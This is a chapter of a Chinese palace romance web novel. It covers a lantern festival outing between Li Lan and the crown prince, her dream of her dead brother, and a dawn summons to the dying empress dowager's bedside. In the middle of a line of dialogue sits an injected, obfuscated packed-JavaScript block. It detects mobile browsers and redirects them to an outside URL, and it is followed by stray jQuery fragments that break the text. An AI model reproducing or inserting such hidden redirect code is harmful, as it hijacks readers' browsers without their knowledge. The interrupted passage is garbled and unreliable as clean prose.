几日后的街上自是热闹万分,家家户户都挂了各式各样的花灯,街上到处都是小贩,还有表演杂耍的,猜灯谜的。李澜素日极喜爱这些节日,往年的百花节不是二哥陪她去便是李昭秦邀约,如今再上街,心中失了几分意趣,尽管如此,她还是打起精神换上了稍有些淡色的衣裙。
李澜想起临行前母亲对她说的话,让她多出去散散心,不要整日闷在府中。
远远便看见李昭秦挺拔的身影,李澜忽然就有了几分安全感和底气。
她低声对身边的云喜说道:“去吧,玩得开心点。”
云喜的眼神早就被两旁的摊贩勾去了,听了这话,像个雀儿飞走了,看得李澜不禁失笑。
李昭秦也注意到这边的动静,李澜站着没动,他便大步朝她走来。
他的身边没有带守卫,可是李澜知道,太子出行怎么可能没有人相护,怕是不知道埋伏在哪处。
“阿凰。”李昭秦背在身后的手拿出来,俨然是一个精美的花灯。
李澜惊喜地接过,“什么时候买的?”
李昭秦放心些许:“到的早了些,想着你喜欢,便买了。”
两人在街上慢慢走着,仿佛将一切事情与繁冗的身份抛诸脑后。
“太后……姑祖母好些了吗?”李澜犹豫了一会还是问了。
李昭秦敛下睫羽:“皇祖母听了岁玉的事很是伤怀。”
李澜停下脚步,不知为何一股浓郁的不安之气在她胸中游荡。
李昭秦朝她笑笑:“怎么了?是担心皇祖母么?阿凰若是担忧了可以进宫看看,皇祖母必定会很欢喜。”
李昭秦伸出一只手去接她。
灯火映在李昭秦的手上,映出细细的纹路。
李澜怔愣了片刻,便将自己的手搭上去。
手中萦绕着温热的触感,李昭秦没有多言语,只是将李澜的手握进手中。
李澜开了开口,却几次发不出声音。
李昭秦忽的指向前面的铺子:“阿凰还记得吗?前年你我相约百花节,逛至此处时你还红了眼睛。”
李澜顺着他的目光看去,是一个卖馄饨的小摊,摊主是一位老翁,双目失明,前年李昭秦上去问的时候才知道他的老伴早早去世,留下一个儿子害了瘟疫也没了,他也从此害了眼睛,再也看不见这世间万物。她依稀记得这铺子上的馄饨香味和共情的酸涩泪水。
摊子上的老翁仍在忙活,正值百花节,他的铺子上添了一道新品,芝麻元宵,周围撒了许多新鲜花瓣,花香十足,吸引了许多食客,老翁两只手都忙不过来,脸上增了些笑意。
李昭秦牵着她的手来到摊前。
“老人家,这元宵怎么卖?”
老翁看不见,把头凑过去些许:“元宵啊?五文一碗!不过公子得稍等一会了,下一锅就是!”
片刻后,李昭秦接过滚烫的元宵,白花花的汤圆与鲜艳的花瓣,喷香十足。
李澜忍不住舀了一个,吹了吹,咬破外面的皮,甜蜜的芝麻香在口中蔓延。
“好吃,你尝尝。”李昭秦望着她发亮的眼睛,也舀了一个品尝。
“前些天我来看过这老翁。他说他正在攒钱治眼病,而且已经攒的差不多了。”李昭秦云淡风轻道。
李澜吃元宵的动作一顿。
“他对我说,从前种种,虽令人心痛,但他现在过的清闲日子便是最好的良药。他会替他的老伴和儿子好好看这世间。”
有一滴眼泪落进碗中。
李昭秦没有去看快将脸埋进碗里的李澜,“阿凰,之后的路还很长,你还有我。”
李澜的肩颈抖动得厉害,李昭秦没有点破,而是叹了一口气,随后将她拢进怀里。
“放烟花了!”
“好美啊!”
李澜闻声抬起头,只见天上橙黄的烟花绽开,到处是百姓的惊呼声。
她转头看向李昭秦,却正好撞上他直直投来的目光。
李澜张口呢喃,可是烟花太响,李昭秦没有听见,他疑惑:“什么?”
烟花转瞬即逝,随之落入耳中的是一声缥缈的:“元殊。”
李昭秦愣了一瞬,随即在心中炸开火花。
街上有许多男女牵着手,依偎着,情深意切。
李昭秦在李澜额上留下一个轻柔的吻,比李澜平日印花钿的时候还要轻。
“啊,那里有人在放花灯!”李澜朝不远处指指,李昭秦看她一瞬间就被吸引过去的神色不免失笑。
“快走!”李澜拉着他的手小跑过去,在被拉走的片刻李昭秦瞥见了她脸颊泛起的淡淡红晕。
湖边已经聚集了不少人,百姓们小心将花灯推入水中,祈祷着心愿成真。
李澜看着手上李昭秦送给她的花灯:“把这个推进去我可舍不得……”
李昭秦偷笑了一瞬,一会的功夫又去买了两个小巧些的花灯,“用这个吧。”
李澜用指尖一拨,花灯便被推入水中远走,慢慢地退进水中央与其他花灯为伍。
她转头一看,李昭秦正神色认真地将花灯放入水中。
李澜闭上眼,双手合十,虔诚又满怀期盼。
既然春回大地,百花盛开,那便祝天下之人事事顺心,前景光明。
她悄悄睁开一只眼去瞧李昭秦,见他端正又挺拔。
“还有,愿元殊和我都能圆满。”
“许的什么愿?”李昭秦见李澜有些揶揄地看向他,问道。
“不告诉你,说出来可就不灵了。”李澜故弄玄虚地摆摆手。
“那你就不想知道我许的什么?”
“什么?”
“我也不告诉你。”李昭秦嘴角弯起一个弧度,模仿李澜的语气逗她。
“你!”李澜佯装生气地用手沾了一点湖水向李昭秦甩去。
李昭秦笑看她,自己在心中默念着。
一愿天下太平,二愿母亲安好,三愿能与姝凰长久。
“走吧。”
李澜思索良久,还是决定开口:“其实那天晚上我做了个梦。”
李昭秦停下脚步看向她。
“在梦里,我看见了我二哥。”李澜微微低头,“我瞧见了他走之前的最后几天。他被刺死了,我的梦就醒了。”
李昭秦耐心听着。
“你是不是很不相信?我当时也很诧异,不仅是诧异,还有害怕。可是这几天来的种种细节都告诉我这是真的,梦里的一切都是真的。”
李昭秦喉结微动,“或许是岁玉他太过思念你,便给你托了个梦,想再见你一面。”
李澜觉得他话说反了,摇了摇头:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358530|168034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我看得见他,他却看不见我。”
“总之,这件事实在是有些古怪,不过能再见到他,也算是圆了我的心愿。”
李昭秦的心脏微微刺痛,却不知怎么开口安慰她。
李澜苦笑一声:“好多人好多事都叫我放下,往前看。我知道他们不过是想安慰我,明明自己还没走出来,却叫我不要再惦念了。”
没有点破,可李昭秦知道她说的是谁。
“太突然了……”他颤抖着开口。
李澜顺着他的话道:“是啊,太突然了。你说这人生老病死,怎么就这么突然,连一声招呼都不打……就走了呢?”话到末尾也有些哽咽。
李澜忽又想起些什么:“你之前说,姑祖母如何了?”
李昭秦像是不知她忽然提起是为何,但还是答了:“前些日子我去看她神色还尚好,不过这几日不知怎的,皇祖母忽然闭起门来谁也不见,尤其是……父皇。”
李澜的心上好似被人割去了一个缺口,风吹过便生疼生疼。
“待明日……我便去看姑祖母。”
回府后,李澜让云喜找个地方将花灯存了起来,其实历年百花节她不知存了多少,有二哥送给她的,但更多是李昭秦送予她的。
云喜和一众婢女笑着打趣她:“姑娘再攒这花灯,不久府上都能开个花灯铺了。”
李澜有些羞赧,没有底气地应道:“好歹是个念想……”
“对了,你去同母妃说,明日我要进宫去看姑祖母。”
“是。”云喜应道。
第二天去看太后的计划落空了,因为一大早——天还蒙蒙亮时,宁荣王府就接到了入宫的指令。
李澜睡眼朦胧地随婢女们穿戴,“可有说是什么事么?”
云喜利落地为李澜梳着头发:“没有。传旨的公公什么也没说便匆匆走了,古怪得紧。不过奴婢看他脸上并不好看,不知是有什么事情。”
路上李澜的心不住地跳,不知是因为没睡好还是其他。
云陌鸾攥着她的手,两人的手都冰凉。
天还太早,整个皇城灰蒙蒙的,皇宫更是蒙了一层雾,失去了往日的华丽与生机。
殿前的公公早就等候在这,见了宁荣王府的马车便赶紧迎上来。
“王爷快随奴才走吧,都等着呐!”
李见鸿眉头紧蹙:“到底是有什么事如此紧急?”
那公公不语,只是一味引路。
走着走着,李澜立刻清醒了。
这分明是去往太后宫中的路。走了这么多次,她绝不会认错。
似乎意识到这一点,其他人的脸色都不太好看。
延年宫前,早已候着许多宫人,俱是神情肃穆地跪在门前。
李澜的心凉了半截。
太后身边的女官轻声道:“王爷到了。快进去吧,陛下与太子都在里面。”
进了内里,只见一众人围在太后床前,太后躺在榻上,身形单薄虚弱,胸膛微微起伏,看起来已是强弩之末。
太后察觉到人来,问皇帝:“是鸿儿吗……”
皇帝握着她的手,答道:“是,母后,是飞卿来了。”
李见鸿大步上前去,也跪在床前,声音中是忍不住的颤抖:“姑母……”
他多想喊一声母亲啊。